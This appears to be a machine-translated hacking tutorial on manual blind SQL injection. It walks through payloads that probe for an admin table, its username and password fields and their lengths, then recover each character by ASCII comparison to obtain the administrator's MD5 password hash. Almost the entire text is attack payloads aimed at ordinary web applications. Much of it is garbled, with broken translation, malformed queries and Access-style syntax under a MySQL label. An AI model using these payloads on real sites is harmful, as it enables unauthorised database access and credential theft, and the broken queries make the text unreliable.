ASCII verbatim decoding method injection, mysql5.0 version manual injection

/*by: Cherish the youth when * *

The verbatim decoding method does not have to guess the field content . The library name, table name, field, data, can be guessed. The Environment filters the Union (mysql5.0 the following version does not support union so it can be used in this way), you can use this method. exists is just one of them, and there are other ways to guess.

Injection ideas:

　　First the table with the word Chichai out, guess the solution out. This is a half-guessing query.

00x1 determine if a table exists

and exists (SELECT * from admin)//guess whether the table contains admin

00x2 determine if a field exists

and exists (select username from admin)//Guess whether it contains username this field and exists (select password from admin)//Guess whether the field contains password

00x3 judge the length of the field to determine its length is more conducive to injection. For example, judging the length of the username is five, then most likely the admin

Username field judgment: and (select top 1 len (username) from admin) >5//Return error and (select top 1 len (username) from admin) =5//return correct, Note that the word length of username is five, most likely the judgment of the AdminPassword field: and (select top 1 len (password) from admin) >16//Return error and (select top 1 len ( Password) from admin) =16//returns correctly, stating that the password word length is 16 bits, which is probably encrypted by MD5.

00x4 [Guess the Administrator account]//use ASCII conversion to get encrypted content.

and (select top 1 ASC (username,1,1) from admin) >97 error and (select top 1 ASC (Mid (username,1,1)) from admin) =97 correct then only The first digit ASCII code is 97 and (select top 1 ASC (username,2,1) from admin) =100 second bit is also the same. Only the Mid function modifies the following section and (select top 1 ASC ( Mid (username,3,1)) from admin) =109and (select top 1 ASC (Mid (username,4,1)) from admin =105and (select top 1 ASC (mid) ( username,5,1) from Admin) =110

00x5 [Guess the administrator password]//and guess the account method is similar

formula:and (select top 1 ASC (mid password,a,n) from admin) >97 //Note: A is greater than N 1, and the following number is ASCII.

and (select top 1 ASC (mid password,1,1) from admin) >97and (select top 1 ASC (Mid (password,1,1)) from admin) =97and ( Select top 1 ASC (mid password,2,1) from admin) =50and (select top 1 ASC (Mid (password,3,1)) from admin) = 36 ... ..... ..... ..... ..... ..... ..... ..... ..... ....... ............

Then the ASCII code 97 50 36 is taken to decrypt. You get the real MD5 value.

ASCII verbatim decoding method injection, mysql5.0 version manual injection